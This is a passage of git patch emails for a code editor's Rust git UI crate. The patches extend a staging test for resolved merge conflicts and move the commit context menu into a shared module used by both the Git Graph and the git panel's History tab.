+                    .find(|entry| entry.repo_path == repo_path(path))
+                    .expect("entry should exist")
+                    .clone();
+                GitPanel::stage_status_for_entry(&entry, repo)
+            })
+        }
+
+        let conflict_entry = panel.read_with(&cx, |panel, _| {
+            pretty_assertions::assert_matches!(
+                panel.entries.as_slice(),
+                &[
+                    Header(GitHeaderEntry {
+                        header: Section::Conflict
+                    }),
+                    Status(GitStatusEntry {
+                        status: FileStatus::Unmerged(..),
+                        ..
+                    }),
+                    Header(GitHeaderEntry {
+                        header: Section::Staged
+                    }),
+                    Status(GitStatusEntry {
+                        staging: StageStatus::Staged,
+                        ..
+                    }),
+                    Header(GitHeaderEntry {
+                        header: Section::Unstaged
+                    }),
+                    Status(GitStatusEntry {
+                        staging: StageStatus::Unstaged,
+                        ..
+                    }),
+                ],
+            );
+            panel
+                .entries
+                .get(1)
+                .and_then(GitListEntry::status_entry)
+                .cloned()
+                .expect("conflict entry should exist")
+        });
+
+        // Resolve the conflict: simulate what `git add` does to the status.
+        panel.update_in(&mut cx, |panel, window, cx| {
+            panel.toggle_staged_for_entry(
+                &GitListEntry::Status(conflict_entry.clone()),
+                StageIntent::Toggle,
+                window,
+                cx,
+            );
+        });
+        fs.set_status_for_repo(
+            path!("/project/.git").as_ref(),
+            &[
+                ("conflict.rs", FileStatus::index(StatusCode::Modified)),
+                ("staged.rs", FileStatus::index(StatusCode::Modified)),
+                ("unstaged.rs", StatusCode::Modified.worktree()),
+            ],
+        );
+        cx.run_until_parked();
+        await_git_panel_entries(&panel, &mut cx).await;
+
+        // The resolved conflict stays in the Conflict section, staged.
+        panel.read_with(&cx, |panel, cx| {
+            assert_eq!(
+                panel.section_for_entry_index(
+                    panel
+                        .entry_by_path(&repo_path("conflict.rs"))
+                        .expect("conflict entry should exist")
+                ),
+                Some(Section::Conflict)
+            );
+            assert!(
+                panel.is_resolved_conflict(
+                    panel.entry_by_path(&repo_path("conflict.rs")).unwrap(),
+                    cx
+                )
+            );
+        });
+        assert_eq!(
+            stage_status_of(&panel, &cx, "conflict.rs"),
+            StageStatus::Staged
+        );
+
+        // The keyboard toggle must not unstage a resolved conflict.
+        panel.update_in(&mut cx, |panel, window, cx| {
+            panel.selected_entry = panel.entry_by_path(&repo_path("conflict.rs"));
+            panel.toggle_staged_for_selected(&ToggleStaged, window, cx);
+        });
+        cx.run_until_parked();
+        assert_eq!(
+            stage_status_of(&panel, &cx, "conflict.rs"),
+            StageStatus::Staged
+        );
+
+        // "Unstage All" on the Staged header must skip resolved conflicts while
+        // still unstaging regular staged files.
+        panel.update_in(&mut cx, |panel, window, cx| {
+            panel.toggle_staged_for_entry(
+                &GitListEntry::Header(GitHeaderEntry {
+                    header: Section::Staged,
+                }),
+                StageIntent::Unstage,
+                window,
+                cx,
+            );
+        });
+        cx.run_until_parked();
+        assert_eq!(
+            stage_status_of(&panel, &cx, "staged.rs"),
+            StageStatus::Unstaged
+        );
+        assert_eq!(
+            stage_status_of(&panel, &cx, "conflict.rs"),
+            StageStatus::Staged
+        );
+
+        // A shift-click range sweep anchored at the conflict must skip it too.
+        let staged_entry = panel.read_with(&cx, |panel, _| {
+            panel
+                .change_entries_by_path()
+                .find(|entry| entry.repo_path == repo_path("staged.rs"))
+                .cloned()
+                .expect("staged entry should exist")
+        });
+        panel.update_in(&mut cx, |panel, _window, cx| {
+            panel.change_file_stage(true, vec![staged_entry], cx);
+        });
+        cx.run_until_parked();
+        await_git_panel_entries(&panel, &mut cx).await;
+
+        panel.update_in(&mut cx, |panel, _window, cx| {
+            panel.set_bulk_staging_anchor(repo_path("conflict.rs"), cx);
+            let last_index = panel.entries.len() - 1;
+            panel.stage_bulk(last_index, false, cx);
+        });
+        cx.run_until_parked();
+        assert_eq!(
+            stage_status_of(&panel, &cx, "staged.rs"),
+            StageStatus::Unstaged
+        );
+        assert_eq!(
+            stage_status_of(&panel, &cx, "conflict.rs"),
+            StageStatus::Staged
+        );
+    }
+
     #[gpui::test]
     async fn test_group_by_staging_primary_action_stages_partially_staged_files(
         cx: &mut TestAppContext,
@@ -9990,7 +10327,7 @@ mod tests {
 
         let second_status_entry = entries[3].clone();
         panel.update_in(cx, |panel, window, cx| {
-            panel.toggle_staged_for_entry(&second_status_entry, window, cx);
+            panel.toggle_staged_for_entry(&second_status_entry, StageIntent::Toggle, window, cx);
         });
 
         panel.update_in(cx, |panel, window, cx| {
@@ -10039,7 +10376,7 @@ mod tests {
 
         let third_status_entry = entries[4].clone();
         panel.update_in(cx, |panel, window, cx| {
-            panel.toggle_staged_for_entry(&third_status_entry, window, cx);
+            panel.toggle_staged_for_entry(&third_status_entry, StageIntent::Toggle, window, cx);
         });
 
         panel.update_in(cx, |panel, window, cx| {
@@ -10201,7 +10538,7 @@ mod tests {
 
         let second_status_entry = entries[3].clone();
         panel.update_in(cx, |panel, window, cx| {
-            panel.toggle_staged_for_entry(&second_status_entry, window, cx);
+            panel.toggle_staged_for_entry(&second_status_entry, StageIntent::Toggle, window, cx);
         });
 
         cx.update(|_window, cx| {
@@ -10269,7 +10606,7 @@ mod tests {
 
         let third_status_entry = entries[4].clone();
         panel.update_in(cx, |panel, window, cx| {
-            panel.toggle_staged_for_entry(&third_status_entry, window, cx);
+            panel.toggle_staged_for_entry(&third_status_entry, StageIntent::Toggle, window, cx);
         });
 
         panel.update_in(cx, |panel, window, cx| {
@@ -11412,7 +11749,7 @@ mod tests {
 
         let first_status_entry = entries[1].clone();
         panel.update_in(cx, |panel, window, cx| {
-            panel.toggle_staged_for_entry(&first_status_entry, window, cx);
+            panel.toggle_staged_for_entry(&first_status_entry, StageIntent::Toggle, window, cx);
         });
 
         cx.read(|cx| {
@@ -11449,7 +11786,7 @@ mod tests {
 
         let second_status_entry = entries[3].clone();
         panel.update_in(cx, |panel, window, cx| {
-            panel.toggle_staged_for_entry(&second_status_entry, window, cx);
+            panel.toggle_staged_for_entry(&second_status_entry, StageIntent::Toggle, window, cx);
         });
 
         cx.read(|cx| {
@@ -11486,7 +11823,7 @@ mod tests {
         assert!(message.is_none());
 
         panel.update_in(cx, |panel, window, cx| {
-            panel.toggle_staged_for_entry(&first_status_entry, window, cx);
+            panel.toggle_staged_for_entry(&first_status_entry, StageIntent::Toggle, window, cx);
         });
 
         cx.read(|cx| {
@@ -11522,7 +11859,7 @@ mod tests {
         assert_eq!(message, Some("Create untracked".to_string()));
 
         panel.update_in(cx, |panel, window, cx| {
-            panel.toggle_staged_for_entry(&second_status_entry, window, cx);
+            panel.toggle_staged_for_entry(&second_status_entry, StageIntent::Toggle, window, cx);
         });
 
         cx.read(|cx| {

From 75ac36d92aca726f262b8b00d3567fefbffb1d1c Mon Sep 17 00:00:00 2001
From: "Joseph T. Lyons" <JosephTLyons@gmail.com>
Date: Tue, 14 Jul 2026 15:16:37 -0400
Subject: [PATCH 461/772] Surface the git graph context menu in the git panel's
 history tab (#60713)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This PR refactors the Git Graph’s commit context menu into its own file
so it can be reused by both the Git Graph and the Git panel’s History
tab.

<img width="511" height="566" alt="SCR-20260709-qlxt"
src="https://github.com/user-attachments/assets/8f18f22b-21d7-46a0-8ce2-183cf4af86c9"
/>

Also, includes a "Show in Git Graph" option only shown in the history
tab's context menu:


https://github.com/user-attachments/assets/2e30648b-2802-4caa-a99e-2d135e2dc539

Release Notes:

- Surfaced the git graph context menu in the git panel's history tab.
---
 crates/git_ui/src/commit_context_menu.rs | 243 +++++++++++++++++++++
 crates/git_ui/src/git_graph.rs           | 256 +++--------------------
 crates/git_ui/src/git_panel.rs           |  90 ++++++--
 crates/git_ui/src/git_ui.rs              |   1 +
 4 files changed, 353 insertions(+), 237 deletions(-)
 create mode 100644 crates/git_ui/src/commit_context_menu.rs

diff --git a/crates/git_ui/src/commit_context_menu.rs b/crates/git_ui/src/commit_context_menu.rs
new file mode 100644
index 00000000000000..e3affe8732e827
--- /dev/null
+++ b/crates/git_ui/src/commit_context_menu.rs
@@ -0,0 +1,243 @@
+use crate::commit_view::CommitView;
+use git::Oid;
+use gpui::{Action, ClipboardItem, Entity, FocusHandle, SharedString, WeakEntity, Window, actions};
+use project::{GIT_COMMAND_TASK_TAG, git_store::Repository};
+
+use task::{TaskContext, TaskVariables, VariableName};
+use ui::{Color, ContextMenu, ContextMenuEntry, IconName, IconPosition, prelude::*};
+use workspace::Workspace;
+
+actions!(
+    git_graph,
+    [
+        /// Copies the SHA of the selected commit to the clipboard.
+        CopyCommitSha,
+        /// Copies a tag from the selected commit to the clipboard.
+        CopyCommitTag,
+        /// Opens the commit view for the selected commit.
+        OpenCommitView,
+    ]
+);
+
+const COMMIT_TAG_LIST_WIDTH_IN_REMS: Rems = rems(10.);
+const CUSTOM_GIT_COMMANDS_DOCS_SLUG: &str = "tasks#custom-git-commands";
+
+pub(crate) struct CommitContextMenuData {
+    pub(crate) sha: Oid,
+    pub(crate) tag_names: Vec<SharedString>,
+}
+
+#[derive(Clone, Copy, PartialEq, Eq)]
+pub(crate) enum CommitContextMenuSource {
+    GitGraph,
+    GitPanel,
+}
+
+pub(crate) fn commit_context_menu(
+    commit: CommitContextMenuData,
+    source: CommitContextMenuSource,
+    ref_name: Option<SharedString>,
+    focus_handle: FocusHandle,
+    repository: Option<WeakEntity<Repository>>,
+    workspace: WeakEntity<Workspace>,
+    window: &mut Window,
+    cx: &mut App,
+) -> Entity<ContextMenu> {
+    let sha = commit.sha;
+    let sha_short = sha.display_short();
+    let git_tasks = git_context_menu_tasks(
+        git_task_context(&repository, sha, ref_name.as_deref(), cx),
+        &workspace,
+        cx,
+    );
+    let header = match &ref_name {
+        Some(ref_name) => format!("Ref {ref_name}"),
+        None => format!("Commit {sha_short}"),
+    };
+
+    ContextMenu::build(window, cx, move |context_menu, _, _| {
+        context_menu
+            .context(focus_handle)
+            .header(header)
+            .entry("View Commit", Some(OpenCommitView.boxed_clone()), {
+                let repository = repository.clone();
+                let workspace = workspace.clone();
+                move |window, cx| {
+                    let Some(repository) = repository.clone() else {
+                        return;
+                    };
+                    CommitView::open(
+                        sha.to_string(),
+                        repository,
+                        workspace.clone(),
+                        None,
+                        None,
+                        window,
+                        cx,
+                    );
+                }
+            })
+            .entry(
+                "Copy SHA",
+                Some(CopyCommitSha.boxed_clone()),
+                move |_window, cx| {
+                    cx.write_to_clipboard(ClipboardItem::new_string(sha.to_string()));
+                },
+            )
+            .when_some(ref_name.clone(), |menu, ref_name| {
+                menu.entry("Copy Ref Name", None, move |_window, cx| {
+                    cx.write_to_clipboard(ClipboardItem::new_string(ref_name.to_string()));
+                })
+            })
+            .when(ref_name.is_none(), |menu| {
+                menu.map(|menu| {
+                    let tag_names = commit.tag_names.clone();
+                    let copy_tag_label = "Copy Tag";
+
+                    match tag_names.as_slice() {
+                        [] => menu.item(
+                            ContextMenuEntry::new(copy_tag_label)
+                                .action(CopyCommitTag.boxed_clone())
+                                .disabled(true),
+                        ),
+                        [tag_name] => {
+                            let tag_name = tag_name.clone();
+                            let label = format!("{copy_tag_label}: {tag_name}");
+                            menu.entry(
+                                label,
+                                Some(CopyCommitTag.boxed_clone()),
+                                move |_window, cx| {
+                                    cx.write_to_clipboard(ClipboardItem::new_string(
+                                        tag_name.to_string(),
+                                    ));
+                                },
+                            )
+                        }
+                        _ => menu.submenu(copy_tag_label, move |menu, _window, _cx| {
+                            let mut menu = menu.fixed_width(COMMIT_TAG_LIST_WIDTH_IN_REMS.into());
+
+                            for tag_name in tag_names.clone() {
+                                let tag_name_to_copy = tag_name.clone();
+                                menu = menu.entry(tag_name, None, move |_window, cx| {
+                                    cx.write_to_clipboard(ClipboardItem::new_string(
+                                        tag_name_to_copy.to_string(),
+                                    ));
+                                });
+                            }
+                            menu
+                        }),
+                    }
+                })
+            })
+            .when(source == CommitContextMenuSource::GitPanel, |menu| {
+                menu.entry("Show in Git Graph", None, move |window, cx| {
+                    window.dispatch_action(
+                        Box::new(crate::git_graph::OpenAtCommit {
+                            sha: sha.to_string(),
+                        }),
+                        cx,
+                    );
+                })
+            })
+            .map(|mut menu| {
+                menu = menu.separator().header("Custom Commands");
+
+                if git_tasks.is_empty() {
+                    return menu.item(
+                        ContextMenuEntry::new("Learn More")
+                            .icon(IconName::ArrowUpRight)
+                            .icon_color(Color::Muted)
+                            .icon_position(IconPosition::End)
+                            .handler(|_window, cx| {
+                                let docs_url =
+                                    release_channel::docs_url(CUSTOM_GIT_COMMANDS_DOCS_SLUG, cx);
+                                cx.open_url(&docs_url);
+                            }),
+                    );
+                }
+
+                for (task_source_kind, resolved_task) in git_tasks {
+                    let label = resolved_task.display_label().to_string();
+                    let workspace = workspace.clone();
+                    menu = menu.entry(label, None, move |window, cx| {
+                        workspace
+                            .update(cx, |workspace, cx| {
+                                workspace.schedule_resolved_task(
+                                    task_source_kind.clone(),
+                                    resolved_task.clone(),
+                                    false,
+                                    window,
+                                    cx,
+                                );
+                            })
+                            .ok();
+                    });
+                }
+
+                menu
+            })
+    })
+}
+
+fn git_task_context(
+    repository: &Option<WeakEntity<Repository>>,
+    commit_sha: git::Oid,
+    ref_name: Option<&str>,
+    cx: &App,
+) -> Option<TaskContext> {
+    let repository_path = repository
+        .as_ref()?
+        .upgrade()?
+        .read(cx)
+        .work_directory_abs_path
+        .to_path_buf();
+    let repository_name = repository_path
+        .file_name()
+        .and_then(|name| name.to_str())
+        .map(ToString::to_string);
+    let mut task_variables = TaskVariables::from_iter([
+        (VariableName::GitSha, commit_sha.to_string()),
+        (VariableName::GitShaShort, commit_sha.display_short()),
+        (
+            VariableName::GitRepositoryPath,
+            repository_path.to_string_lossy().into_owned(),
+        ),
+    ]);
+
+    if let Some(repository_name) = repository_name {
+        task_variables.insert(VariableName::GitRepositoryName, repository_name);
+    }
+    if let Some(ref_name) = ref_name {
+        task_variables.insert(VariableName::GitRef, ref_name.to_string());
+    }
+
+    Some(TaskContext {
+        cwd: Some(repository_path),
+        task_variables,
+        ..TaskContext::default()
+    })
+}
+
+fn git_context_menu_tasks(
+    task_context: Option<TaskContext>,
+    workspace: &WeakEntity<Workspace>,
+    cx: &App,
+) -> Vec<(project::TaskSourceKind, task::ResolvedTask)> {
+    let Some(task_context) = task_context else {
+        return Vec::new();
+    };
+    let Some(workspace) = workspace.upgrade() else {
+        return Vec::new();
+    };
+    let project = workspace.read(cx).project().clone();
+    let task_inventory = project.read_with(cx, |project, cx| {
+        project.task_store().read(cx).task_inventory().cloned()
+    });
+    let Some(task_inventory) = task_inventory else {
+        return Vec::new();
+    };
+
+    task_inventory
+        .read(cx)
+        .resolve_global_tasks_with_tag(GIT_COMMAND_TASK_TAG, &task_context)
+}
diff --git a/crates/git_ui/src/git_graph.rs b/crates/git_ui/src/git_graph.rs
index 343cf2abbdc778..43995457906849 100644
--- a/crates/git_ui/src/git_graph.rs
+++ b/crates/git_ui/src/git_graph.rs
@@ -1,4 +1,6 @@
+pub use crate::commit_context_menu::{CopyCommitSha, CopyCommitTag, OpenCommitView};
 use crate::{
+    commit_context_menu::{CommitContextMenuData, CommitContextMenuSource, commit_context_menu},
     commit_tooltip::{CommitAvatar, CommitDetails, CommitTooltip},
     commit_view::CommitView,
     git_status_icon,
@@ -17,9 +19,9 @@ use git::{
     status::{FileStatus, StatusCode, TrackedStatus},
 };
 use gpui::{
-    Action, Anchor, AnyElement, App, Bounds, ClickEvent, ClipboardItem, DefiniteLength,
-    DismissEvent, DragMoveEvent, ElementId, Empty, Entity, EventEmitter, FocusHandle, Focusable,
-    Hsla, MouseButton, MouseDownEvent, PathBuilder, Pixels, Point, ScrollHandle, ScrollStrategy,
+    Anchor, AnyElement, App, Bounds, ClickEvent, ClipboardItem, DefiniteLength, DismissEvent,
+    DragMoveEvent, ElementId, Empty, Entity, EventEmitter, FocusHandle, Focusable, Hsla,
+    MouseButton, MouseDownEvent, PathBuilder, Pixels, Point, ScrollHandle, ScrollStrategy,
     ScrollWheelEvent, SharedString, Subscription, Task, TextStyleRefinement,
     UniformListScrollHandle, WeakEntity, Window, actions, anchored, deferred, point, prelude::*,
     px, uniform_list,
@@ -29,7 +31,7 @@ use markdown::{Markdown, MarkdownElement};
 use menu::{Cancel, SelectFirst, SelectLast, SelectNext, SelectPrevious};
 use picker::{Picker, PickerDelegate};
 use project::{
-    GIT_COMMAND_TASK_TAG, ProjectPath, TaskSourceKind,
+    ProjectPath,
     git_store::{
         CommitDataState, GitGraphEvent, GitStore, GitStoreEvent, GraphDataResponse, Repository,
         RepositoryEvent, RepositoryId,
@@ -47,12 +49,12 @@ use std::{
     sync::{Arc, OnceLock},
     time::{Duration, Instant},
 };
-use task::{ResolvedTask, TaskContext, TaskVariables, VariableName};
+
 use theme::AccentColors;
 use time::{OffsetDateTime, UtcOffset, format_description::BorrowedFormatItem};
 use ui::{
-    Chip, ColumnWidthConfig, CommonAnimationExt as _, ContextMenu, ContextMenuEntry, DiffStat,
-    Divider, HeaderResizeInfo, HighlightedLabel, IndentGuideColors, ListItem, ListItemSpacing,
+    Chip, ColumnWidthConfig, CommonAnimationExt as _, ContextMenu, DiffStat, Divider,
+    HeaderResizeInfo, HighlightedLabel, IndentGuideColors, ListItem, ListItemSpacing,
     RedistributableColumnsState, ScrollableHandle, Table, TableInteractionState,
     TableRenderContext, TableResizeBehavior, Tooltip, WithScrollbar, bind_redistributable_columns,
     prelude::*, redistribute_hidden_fractions, redistribute_hidden_widths,
@@ -72,7 +74,6 @@ const LINE_WIDTH: Pixels = px(1.5);
 const RESIZE_HANDLE_WIDTH: f32 = 8.0;
 const COPIED_STATE_DURATION: Duration = Duration::from_secs(2);
 const COMMIT_TAG_LIST_WIDTH_IN_REMS: Rems = rems(10.);
-const CUSTOM_GIT_COMMANDS_DOCS_SLUG: &str = "tasks#custom-git-commands";
 const TREE_INDENT: f32 = 20.0;
 const TABLE_COLUMN_COUNT: usize = 4;
 const ROW_VERTICAL_PADDING: Pixels = px(4.0);
@@ -580,12 +581,6 @@ actions!(
     [
         /// Opens the Git Graph Tab.
         Open,
-        /// Copies the SHA of the selected commit to the clipboard.
-        CopyCommitSha,
-        /// Copies a tag from the selected commit to the clipboard.
-        CopyCommitTag,
-        /// Opens the commit view for the selected commit.
-        OpenCommitView,
         /// Focuses the search field.
         FocusSearch,
         /// Focuses the next git graph tab stop.
@@ -2467,91 +2462,6 @@ impl GitGraph {
         self.copy_commit_tag(selected_entry_index, window, cx);
     }
 
-    fn git_task_context(
-        &self,
-        commit_sha: Oid,
-        ref_name: Option<&str>,
-        cx: &App,
-    ) -> Option<TaskContext> {
-        let repository_path = self
-            .get_repository(cx)?
-            .read(cx)
-            .work_directory_abs_path
-            .to_path_buf();
-
-        let repository_name = repository_path
-            .file_name()
-            .and_then(|name| name.to_str())
-            .map(ToString::to_string);
-
-        let mut task_variables = TaskVariables::from_iter([
-            (VariableName::GitSha, commit_sha.to_string()),
-            (VariableName::GitShaShort, commit_sha.display_short()),
-            (
-                VariableName::GitRepositoryPath,
-                repository_path.to_string_lossy().into_owned(),
-            ),
-        ]);
-
-        if let Some(repository_name) = repository_name {
-            task_variables.insert(VariableName::GitRepositoryName, repository_name);
-        }
-
-        if let Some(ref_name) = ref_name {
-            task_variables.insert(VariableName::GitRef, ref_name.to_string());
-        }
-
-        Some(TaskContext {
-            cwd: Some(repository_path),
-            task_variables,
-            ..TaskContext::default()
-        })
-    }
-
-    fn git_context_menu_tasks(
-        &self,
-        task_context: &TaskContext,
-        cx: &App,
-    ) -> Vec<(TaskSourceKind, ResolvedTask)> {
-        let Some(workspace) = self.workspace.upgrade() else {
-            return Vec::new();
-        };
-
-        let project = workspace.read(cx).project().clone();
-
-        let task_inventory = project.read_with(cx, |project, cx| {
-            project.task_store().read(cx).task_inventory().cloned()
-        });
-
-        let Some(task_inventory) = task_inventory else {
-            return Vec::new();
-        };
-
-        task_inventory
-            .read(cx)
-            .resolve_global_tasks_with_tag(GIT_COMMAND_TASK_TAG, task_context)
-    }
-
-    fn schedule_git_task(
-        &mut self,
-        task_source_kind: TaskSourceKind,
-        resolved_task: ResolvedTask,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        self.workspace
-            .update(cx, |workspace, cx| {
-                workspace.schedule_resolved_task(
-                    task_source_kind,
-                    resolved_task,
-                    false,
-                    window,
-                    cx,
-                );
-            })
-            .ok();
-    }
-
     fn deploy_entry_context_menu(
         &mut self,
         position: Point<Pixels>,
@@ -2563,129 +2473,27 @@ impl GitGraph {
         let Some(commit) = self.graph_data.commits.get(index) else {
             return;
         };
-        let sha = commit.data.sha;
-        let sha_short = sha.display_short();
-        let git_tasks = self
-            .git_task_context(sha, ref_name.as_deref(), cx)
-            .map(|task_context| self.git_context_menu_tasks(&task_context, cx))
-            .unwrap_or_default();
-
-        let header = match &ref_name {
-            Some(ref_name) => format!("Ref {ref_name}"),
-            None => format!("Commit {sha_short}"),
-        };
-
-        let focus_handle = self.focus_handle.clone();
-        let git_graph = cx.entity();
-        let context_menu = ContextMenu::build(window, cx, |context_menu, window, _| {
-            context_menu
-                .context(focus_handle)
-                .header(header)
-                .entry(
-                    "View Commit",
-                    Some(OpenCommitView.boxed_clone()),
-                    window.handler_for(&git_graph, move |this, window, cx| {
-                        this.open_commit_view(index, window, cx);
-                    }),
-                )
-                .entry(
-                    "Copy SHA",
-                    Some(CopyCommitSha.boxed_clone()),
-                    window.handler_for(&git_graph, move |this, _window, cx| {
-                        this.copy_commit_sha(index, cx);
-                    }),
-                )
-                .when_some(ref_name.clone(), |menu, ref_name| {
-                    menu.entry("Copy Ref Name", None, move |_window, cx| {
-                        cx.write_to_clipboard(ClipboardItem::new_string(ref_name.to_string()));
-                    })
-                })
-                .when(ref_name.is_none(), |menu| {
-                    menu.map(|menu| {
-                        let tag_names = commit
-                            .data
-                            .tag_names()
-                            .into_iter()
-                            .map(|tag_name| SharedString::from(tag_name.to_string()))
-                            .collect::<Vec<_>>();
-                        let copy_tag_label = "Copy Tag";
-
-                        match tag_names.as_slice() {
-                            [] => menu.item(
-                                ContextMenuEntry::new(copy_tag_label)
-                                    .action(CopyCommitTag.boxed_clone())
-                                    .disabled(true),
-                            ),
-                            [tag_name] => {
-                                let tag_name = tag_name.clone();
-                                let label = format!("{copy_tag_label}: {tag_name}");
-                                menu.entry(
-                                    label,
-                                    Some(CopyCommitTag.boxed_clone()),
-                                    move |_window, cx| {
-                                        cx.write_to_clipboard(ClipboardItem::new_string(
-                                            tag_name.to_string(),
-                                        ));
-                                    },
-                                )
-                            }
-                            _ => menu.submenu(copy_tag_label, move |menu, _window, _cx| {
-                                let mut menu =
-                                    menu.fixed_width(COMMIT_TAG_LIST_WIDTH_IN_REMS.into());
-
-                                for tag_name in tag_names.clone() {
-                                    let tag_name_to_copy = tag_name.clone();
-
-                                    menu = menu.entry(tag_name, None, move |_window, cx| {
-                                        cx.write_to_clipboard(ClipboardItem::new_string(
-                                            tag_name_to_copy.to_string(),
-                                        ));
-                                    });
-                                }
-                                menu
-                            }),
-                        }
-                    })
-                })
-                .map(|mut menu| {
-                    menu = menu.separator().header("Custom Commands");
-
-                    if git_tasks.is_empty() {
-                        return menu.item(
-                            ContextMenuEntry::new("Learn More")
-                                .icon(IconName::ArrowUpRight)
-                                .icon_color(Color::Muted)
-                                .icon_position(IconPosition::End)
-                                .handler(|_window, cx| {
-                                    let docs_url = release_channel::docs_url(
-                                        CUSTOM_GIT_COMMANDS_DOCS_SLUG,
-                                        cx,
-                                    );
-                                    cx.open_url(&docs_url);
-                                }),
-                        );
-                    }
-
-                    for (task_source_kind, resolved_task) in git_tasks {
-                        let label = resolved_task.display_label().to_string();
-
-                        menu = menu.entry(
-                            label,
-                            None,
-                            window.handler_for(&git_graph, move |this, window, cx| {
-                                this.schedule_git_task(
-                                    task_source_kind.clone(),
-                                    resolved_task.clone(),
-                                    window,
-                                    cx,
-                                );
-                            }),
-                        );
-                    }
-
-                    menu
-                })
-        });
+        let repository = self
+            .get_repository(cx)
+            .map(|repository| repository.downgrade());
+        let context_menu = commit_context_menu(
+            CommitContextMenuData {
+                sha: commit.data.sha,
+                tag_names: commit
+                    .data
+                    .tag_names()
+                    .into_iter()
+                    .map(|tag_name| SharedString::from(tag_name.to_string()))
+                    .collect(),
+            },
+            CommitContextMenuSource::GitGraph,
+            ref_name,
+            self.focus_handle.clone(),
+            repository,
+            self.workspace.clone(),
+            window,
+            cx,
+        );
         self.set_context_menu(context_menu, position, Some(index), window, cx);
     }
 
@@ -4946,7 +4754,9 @@ mod tests {
     use git::repository::{CommitData, InitialGraphCommitData};
     use gpui::{TestAppContext, UpdateGlobal};
     use project::git_store::{GitStoreEvent, RepositoryEvent};
-    use project::{Project, TaskSourceKind, task_store::TaskSettingsLocation};
+    use project::{
+        GIT_COMMAND_TASK_TAG, Project, TaskSourceKind, task_store::TaskSettingsLocation,
+    };
     use rand::prelude::*;
     use serde_json::json;
     use settings::{SettingsStore, ThemeSettingsContent};
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 29328c7746bc39..12d9a1e7392cdf 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -1,4 +1,7 @@
 use crate::askpass_modal::AskPassModal;
+use crate::commit_context_menu::{
+    CommitContextMenuData, CommitContextMenuSource, commit_context_menu,
+};
 use crate::commit_modal::CommitModal;
 use crate::commit_tooltip::{CommitAvatar, CommitTooltip};
 use crate::commit_view::CommitView;
@@ -6187,6 +6190,37 @@ impl GitPanel {
         );
     }
 
+    fn deploy_history_context_menu(
+        &mut self,
+        position: Point<Pixels>,
+        index: usize,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(commit) = self.commit_history_entries().get(index).cloned() else {
+            return;
+        };
+        let Some(repository) = self.active_repository.as_ref() else {
+            return;
+        };
+        let context_menu = commit_context_menu(
+            CommitContextMenuData {
+                sha: commit.sha,
+                tag_names: commit.tag_names,
+            },
+            CommitContextMenuSource::GitPanel,
+            None,
+            self.focus_handle.clone(),
+            Some(repository.downgrade()),
+            self.workspace.clone(),
+            window,
+            cx,
+        );
+        self.focused_history_entry = Some(index);
+        self.history_keyboard_nav = false;
+        self.set_context_menu(context_menu, position, window, cx);
+    }
+
     fn activate_changes_tab(
         &mut self,
         _: &ActivateChangesTab,
@@ -6347,6 +6381,7 @@ impl GitPanel {
         let focused_history_entry = self.focused_history_entry;
         let is_panel_focused = self.focus_handle.is_focused(window);
         let show_focus_border = self.history_keyboard_nav;
+        let has_context_menu = self.context_menu.is_some();
 
         let ahead_count = active_repository
             .read(cx)
@@ -6485,13 +6520,20 @@ impl GitPanel {
                                                             tag_names
                                                                 .iter()
                                                                 .take(MAX_HISTORY_TAG_CHIPS)
-                                                                .cloned()
                                                                 .map(|tag_name| {
+                                                                    let tag_name = tag_name.clone();
                                                                     Chip::new(tag_name.clone())
                                                                         .truncate()
-                                                                        .tooltip(Tooltip::text(
-                                                                            tag_name,
-                                                                        ))
+                                                                        .when(
+                                                                            !has_context_menu,
+                                                                            |chip| {
+                                                                                chip.tooltip(
+                                                                                    Tooltip::text(
+                                                                                        tag_name,
+                                                                                    ),
+                                                                                )
+                                                                            },
+                                                                        )
                                                                 }),
                                                         )
                                                         .when(hidden_tag_count > 0, |this| {
@@ -6502,9 +6544,11 @@ impl GitPanel {
                                                                 Chip::new(format!(
                                                                     "+{hidden_tag_count}"
                                                                 ))
-                                                                .tooltip(Tooltip::text(
-                                                                    hidden_tag_names,
-                                                                )),
+                                                                .when(!has_context_menu, |chip| {
+                                                                    chip.tooltip(Tooltip::text(
+                                                                        hidden_tag_names,
+                                                                    ))
+                                                                }),
                                                             )
                                                         })
                                                 }))
@@ -6541,13 +6585,15 @@ impl GitPanel {
                                                         .color(Color::Muted),
                                                 ),
                                         )
-                                        .tooltip(move |_, cx| {
-                                            Tooltip::with_meta(
-                                                "View Commit",
-                                                None,
-                                                short_sha.clone(),
-                                                cx,
-                                            )
+                                        .when(!has_context_menu, |this| {
+                                            this.tooltip(move |_, cx| {
+                                                Tooltip::with_meta(
+                                                    "View Commit",
+                                                    None,
+                                                    short_sha.clone(),
+                                                    cx,
+                                                )
+                                            })
                                         })
                                         .on_mouse_down(gpui::MouseButton::Left, {
                                             let git_panel = git_panel.clone();
@@ -6561,6 +6607,22 @@ impl GitPanel {
                                                     .ok();
                                             }
                                         })
+                                        .on_mouse_down(MouseButton::Right, {
+                                            let git_panel = git_panel.clone();
+                                            move |event, window, cx| {
+                                                git_panel
+                                                    .update(cx, |panel, cx| {
+                                                        panel.deploy_history_context_menu(
+                                                            event.position,
+                                                            index,
+                                                            window,
+                                                            cx,
+                                                        );
+                                                    })
+                                                    .ok();
+                                                cx.stop_propagation();
+                                            }
+                                        })
                                         .on_click(move |_, window, cx| {
                                             CommitView::open(
                                                 sha_for_click.clone(),
diff --git a/crates/git_ui/src/git_ui.rs b/crates/git_ui/src/git_ui.rs
index aefd0eff50acf5..39e9299bc40cb0 100644
--- a/crates/git_ui/src/git_ui.rs
+++ b/crates/git_ui/src/git_ui.rs
@@ -36,6 +36,7 @@ use crate::{
 mod askpass_modal;
 pub mod branch_diff;
 pub mod branch_picker;
+mod commit_context_menu;
 mod commit_modal;
 pub mod commit_tooltip;
 pub mod commit_view;

From 2838ea3f59458fc550d844e78fb4fec8eaf39fa3 Mon Sep 17 00:00:00 2001
From: Hamza Paracha <86984199+DevDonzo@users.noreply.github.com>
Date: Tue, 14 Jul 2026 15:17:17 -0400
Subject: [PATCH 462/772] Show both local and remote checkouts in Recent
 Projects (#53953)

This fixes #53917.

Recent Projects was treating local and remote workspaces as the same
entry whenever they resolved to the same checkout path. That meant one
